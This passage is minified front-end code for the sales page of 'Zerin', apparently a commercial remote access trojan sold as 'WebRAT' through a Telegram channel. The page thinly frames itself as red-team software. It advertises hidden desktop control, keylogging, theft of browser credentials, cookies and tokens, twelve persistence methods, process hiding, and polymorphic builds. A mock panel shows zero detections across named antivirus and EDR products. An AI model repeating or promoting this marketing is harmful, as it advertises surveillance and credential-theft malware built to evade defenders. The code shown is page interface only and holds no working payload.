9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],kA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function xs({value:e,label:t,suffix:n="",prefix:r=""}){const i=p.useRef(null),a=p.useRef(null);return p.useEffect(()=>{const o=i.current,l=a.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const m=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=m,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),s.jsxs("div",{ref:i,className:"text-center",children:[s.jsxs("div",{ref:a,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),s.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const NA=p.memo(function({name:t,delay:n}){return s.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[s.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),s.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[s.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),SA=p.memo(function({feature:t,index:n}){return s.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),s.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),s.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),s.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),s.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function zA(){const e=wA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=p.useState(!1),[r,i]=p.useState(null),[a,o]=p.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=p.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);p.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=p.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(bA,{}),a&&s.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[s.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[s.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),s.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),s.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[s.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),s.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),s.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),s.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",s.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(it,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(it,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(it,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),s.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),s.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[s.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),s.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),s.jsx("div",{className:"h-8 mb-8",children:s.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[s.jsx("span",{ref:e.spanRef}),s.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),s.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),s.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[s.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Access"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(it,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),s.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),s.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),s.jsx("section",{className:"relative z-10 py-28 px-6",children:s.jsxs("div",{className:"max-w-5xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-14",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",s.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),s.jsxs("div",{children:[s.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),s.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),s.jsxs("div",{className:"text-right",children:[s.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),s.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),s.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),s.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),s.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:kA.map((u,d)=>s.jsx(NA,{name:u,delay:d*60},u))})]}),s.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>s.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[s.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:s.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),s.jsxs("div",{children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:s.jsx("div",{className:"max-w-5xl mx-auto",children:s.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[s.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),s.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",s.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",s.jsx("span",{className:"text-zerin-accent",children:"active"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),s.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),s.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",s.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",s.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),s.jsxs("div",{className:"mt-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:s.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),s.jsxs("div",{children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),s.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),s.jsx("section",{className:"relative z-10 py-24 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),s.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:jA.map((u,d)=>s.jsx(SA,{feature:u,index:d},u.tag))})]})}),s.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:s.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[s.jsx(xs,{value:256,suffix:"-bit",label:"Encryption"}),s.jsx(xs,{value:12,suffix:"",label:"Persist Methods"}),s.jsx(xs,{value:100,suffix:"%",label:"C2 Uptime"}),s.jsx(xs,{value:0,suffix:"",label:"Disk Artifacts"}),s.jsx(xs,{value:48,suffix:"",label:"Modules"})]})}),s.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:s.jsxs("div",{className:"max-w-6xl mx-auto",children:[s.jsxs("div",{className:"text-center mb-16",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),s.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[s.jsx("div",{className:"group relative",children:s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing 